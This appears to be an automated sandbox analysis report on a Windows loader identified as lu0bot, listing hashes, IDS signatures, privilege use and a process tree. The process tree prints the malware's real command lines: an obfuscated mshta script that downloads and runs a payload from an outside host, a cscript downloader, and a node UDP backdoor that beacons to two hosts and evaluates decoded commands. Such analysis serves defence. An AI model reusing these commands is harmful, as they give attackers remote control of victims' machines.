Analysis
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max time kernel
148s -
max time network
179s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
04-08-2021 16:39
Static task
static1
Behavioral task
behavioral1
Sample
usfive_20210804-182856.exe
Resource
win7v20210410
windows7_x64
0 signatures
0 seconds
General
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Target
usfive_20210804-182856.exe
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Size
2KB
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MD5
ab9ae54ca49cf5f6065af27e779b4653
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SHA1
c39d0558a7135e24b8293f3330a3ba0e663d7422
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SHA256
d58184d02343b1ee6bf6f5c8146233288caa4f9a1543990b4c0e20be74fb671e
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SHA512
7dd40b5100bf35bf45b346ae9508b3bb1e6f3ac7d457fb99f9bbcbae78e1e9809b527afb86805954688c7fc6b7093c87d456fa947cb0857b18716238b6a116ad
Malware Config
Signatures
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suricata: ET MALWARE lu0bot Loader HTTP Request
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suricata: ET MALWARE lu0bot Loader HTTP Response
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Blocklisted process makes network request 2 IoCs
flow pid Process 3 616 mshta.exe 4 1068 cscript.exe -
Executes dropped EXE 1 IoCs
pid Process 1156 node.exe -
Loads dropped DLL 1 IoCs
pid Process 2020 cscript.exe -
Modifies file permissions 1 TTPs 1 IoCs
pid Process 1572 icacls.exe -
Drops file in Windows directory 2 IoCs
description ioc Process File opened for modification C:\Windows\Logs\DPX\setupact.log expand.exe File opened for modification C:\Windows\Logs\DPX\setuperr.log expand.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 node.exe -
Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 1704 tasklist.exe -
Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 320 netstat.exe 1492 ipconfig.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 2024 systeminfo.exe -
NTFS ADS 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Local\Temp\4137764dbbfca57e:ads node.exe File created C:\ProgramData\DNTException\node.exe:672f1d59fa4166e67baead9f6eddaca0 node.exe -
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 3 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 4 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1156 node.exe 1156 node.exe -
Suspicious use of AdjustPrivilegeToken 42 IoCs
description pid Process Token: SeDebugPrivilege 1704 tasklist.exe Token: SeIncreaseQuotaPrivilege 1208 wmic.exe Token: SeSecurityPrivilege 1208 wmic.exe Token: SeTakeOwnershipPrivilege 1208 wmic.exe Token: SeLoadDriverPrivilege 1208 wmic.exe Token: SeSystemProfilePrivilege 1208 wmic.exe Token: SeSystemtimePrivilege 1208 wmic.exe Token: SeProfSingleProcessPrivilege 1208 wmic.exe Token: SeIncBasePriorityPrivilege 1208 wmic.exe Token: SeCreatePagefilePrivilege 1208 wmic.exe Token: SeBackupPrivilege 1208 wmic.exe Token: SeRestorePrivilege 1208 wmic.exe Token: SeShutdownPrivilege 1208 wmic.exe Token: SeDebugPrivilege 1208 wmic.exe Token: SeSystemEnvironmentPrivilege 1208 wmic.exe Token: SeRemoteShutdownPrivilege 1208 wmic.exe Token: SeUndockPrivilege 1208 wmic.exe Token: SeManageVolumePrivilege 1208 wmic.exe Token: 33 1208 wmic.exe Token: 34 1208 wmic.exe Token: 35 1208 wmic.exe Token: SeIncreaseQuotaPrivilege 1208 wmic.exe Token: SeSecurityPrivilege 1208 wmic.exe Token: SeTakeOwnershipPrivilege 1208 wmic.exe Token: SeLoadDriverPrivilege 1208 wmic.exe Token: SeSystemProfilePrivilege 1208 wmic.exe Token: SeSystemtimePrivilege 1208 wmic.exe Token: SeProfSingleProcessPrivilege 1208 wmic.exe Token: SeIncBasePriorityPrivilege 1208 wmic.exe Token: SeCreatePagefilePrivilege 1208 wmic.exe Token: SeBackupPrivilege 1208 wmic.exe Token: SeRestorePrivilege 1208 wmic.exe Token: SeShutdownPrivilege 1208 wmic.exe Token: SeDebugPrivilege 1208 wmic.exe Token: SeSystemEnvironmentPrivilege 1208 wmic.exe Token: SeRemoteShutdownPrivilege 1208 wmic.exe Token: SeUndockPrivilege 1208 wmic.exe Token: SeManageVolumePrivilege 1208 wmic.exe Token: 33 1208 wmic.exe Token: 34 1208 wmic.exe Token: 35 1208 wmic.exe Token: SeDebugPrivilege 320 netstat.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1208 wrote to memory of 616 1208 usfive_20210804-182856.exe 25 PID 1208 wrote to memory of 616 1208 usfive_20210804-182856.exe 25 PID 1208 wrote to memory of 616 1208 usfive_20210804-182856.exe 25 PID 1208 wrote to memory of 616 1208 usfive_20210804-182856.exe 25 PID 616 wrote to memory of 1220 616 mshta.exe 30 PID 616 wrote to memory of 1220 616 mshta.exe 30 PID 616 wrote to memory of 1220 616 mshta.exe 30 PID 616 wrote to memory of 1220 616 mshta.exe 30 PID 1220 wrote to memory of 1068 1220 cmd.exe 32 PID 1220 wrote to memory of 1068 1220 cmd.exe 32 PID 1220 wrote to memory of 1068 1220 cmd.exe 32 PID 1220 wrote to memory of 1068 1220 cmd.exe 32 PID 1220 wrote to memory of 1808 1220 cmd.exe 33 PID 1220 wrote to memory of 1808 1220 cmd.exe 33 PID 1220 wrote to memory of 1808 1220 cmd.exe 33 PID 1220 wrote to memory of 1808 1220 cmd.exe 33 PID 1220 wrote to memory of 2020 1220 cmd.exe 34 PID 1220 wrote to memory of 2020 1220 cmd.exe 34 PID 1220 wrote to memory of 2020 1220 cmd.exe 34 PID 1220 wrote to memory of 2020 1220 cmd.exe 34 PID 2020 wrote to memory of 1156 2020 cscript.exe 35 PID 2020 wrote to memory of 1156 2020 cscript.exe 35 PID 2020 wrote to memory of 1156 2020 cscript.exe 35 PID 2020 wrote to memory of 1156 2020 cscript.exe 35 PID 1156 wrote to memory of 1400 1156 node.exe 37 PID 1156 wrote to memory of 1400 1156 node.exe 37 PID 1156 wrote to memory of 1400 1156 node.exe 37 PID 1156 wrote to memory of 1400 1156 node.exe 37 PID 1156 wrote to memory of 2004 1156 node.exe 38 PID 1156 wrote to memory of 2004 1156 node.exe 38 PID 1156 wrote to memory of 2004 1156 node.exe 38 PID 1156 wrote to memory of 2004 1156 node.exe 38 PID 1156 wrote to memory of 1572 1156 node.exe 39 PID 1156 wrote to memory of 1572 1156 node.exe 39 PID 1156 wrote to memory of 1572 1156 node.exe 39 PID 1156 wrote to memory of 1572 1156 node.exe 39 PID 1156 wrote to memory of 2032 1156 node.exe 40 PID 1156 wrote to memory of 2032 1156 node.exe 40 PID 1156 wrote to memory of 2032 1156 node.exe 40 PID 1156 wrote to memory of 2032 1156 node.exe 40 PID 1156 wrote to memory of 1504 1156 node.exe 41 PID 1156 wrote to memory of 1504 1156 node.exe 41 PID 1156 wrote to memory of 1504 1156 node.exe 41 PID 1156 wrote to memory of 1504 1156 node.exe 41 PID 1156 wrote to memory of 1704 1156 node.exe 42 PID 1156 wrote to memory of 1704 1156 node.exe 42 PID 1156 wrote to memory of 1704 1156 node.exe 42 PID 1156 wrote to memory of 1704 1156 node.exe 42 PID 1156 wrote to memory of 1208 1156 node.exe 44 PID 1156 wrote to memory of 1208 1156 node.exe 44 PID 1156 wrote to memory of 1208 1156 node.exe 44 PID 1156 wrote to memory of 1208 1156 node.exe 44 PID 1156 wrote to memory of 1492 1156 node.exe 45 PID 1156 wrote to memory of 1492 1156 node.exe 45 PID 1156 wrote to memory of 1492 1156 node.exe 45 PID 1156 wrote to memory of 1492 1156 node.exe 45 PID 1156 wrote to memory of 764 1156 node.exe 46 PID 1156 wrote to memory of 764 1156 node.exe 46 PID 1156 wrote to memory of 764 1156 node.exe 46 PID 1156 wrote to memory of 764 1156 node.exe 46 PID 1156 wrote to memory of 320 1156 node.exe 47 PID 1156 wrote to memory of 320 1156 node.exe 47 PID 1156 wrote to memory of 320 1156 node.exe 47 PID 1156 wrote to memory of 320 1156 node.exe 47 -
Views/modifies file attributes 1 TTPs 2 IoCs
pid Process 2032 attrib.exe 1504 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\usfive_20210804-182856.exe"C:\Users\Admin\AppData\Local\Temp\usfive_20210804-182856.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1208 -
C:\Windows\SysWOW64\mshta.exemshta "javascript:document.write();115;y=unescape('%360%7Eh%74t%70%3A%2F%2F%61s%751%30%2E%66u%6E%2F%68r%69%2F%3F2%31a%36e%34b%7E8%34').split('~');71;try{x='WinHttp';254;x=new ActiveXObject(x+'.'+x+'Request.5.1');92;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);237;x.send();240;y='ipt.S';210;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);46;}catch(e){};152;;window.close();"2⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:616 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1628095235929.txt & cscript /nologo /e:jscript get1628095235929.txt "http%3A%2F%2Fasu10.fun%2Fhri%2F%3F2f3251af8%26b%3D2f0f8cb1" node.cab & expand node.cab node.exe & del get1628095235929.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1628095235929.txt & cscript /nologo /e:jscript get1628095235929.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27f3251af8%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu10.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1628095235929.txt3⤵
- Suspicious use of WriteProcessMemory
PID:1220 -
C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1628095235929.txt "http%3A%2F%2Fasu10.fun%2Fhri%2F%3F2f3251af8%26b%3D2f0f8cb1" node.cab4⤵
- Blocklisted process makes network request
PID:1068
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C:\Windows\SysWOW64\expand.exeexpand node.cab node.exe4⤵
- Drops file in Windows directory
PID:1808
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C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1628095235929.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27f3251af8%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu10.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2020 -
C:\ProgramData\DNTException\node.exe"C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27f3251af8%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu10.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))5⤵
- Executes dropped EXE
- Checks processor information in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1156 -
C:\Windows\SysWOW64\cmd.execmd.exe /c dir C:\6⤵PID:1400
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C:\Windows\SysWOW64\cacls.execacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F6⤵PID:2004
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C:\Windows\SysWOW64\icacls.exeicacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)6⤵
- Modifies file permissions
PID:1572
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException6⤵
- Views/modifies file attributes
PID:2032
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException\node.exe6⤵
- Views/modifies file attributes
PID:1504
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C:\Windows\SysWOW64\tasklist.exetasklist /fo csv /nh6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:1704
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C:\Windows\SysWOW64\Wbem\wmic.exewmic process get processid,parentprocessid,name,executablepath /format:csv6⤵
- Suspicious use of AdjustPrivilegeToken
PID:1208
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C:\Windows\SysWOW64\ipconfig.exeipconfig.exe /all6⤵
- Gathers network information
PID:1492
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C:\Windows\SysWOW64\route.exeroute.exe print6⤵PID:764
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C:\Windows\SysWOW64\netstat.exenetstat.exe -ano6⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:320
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C:\Windows\SysWOW64\systeminfo.exesysteminfo.exe /fo csv6⤵
- Gathers system information
PID:2024
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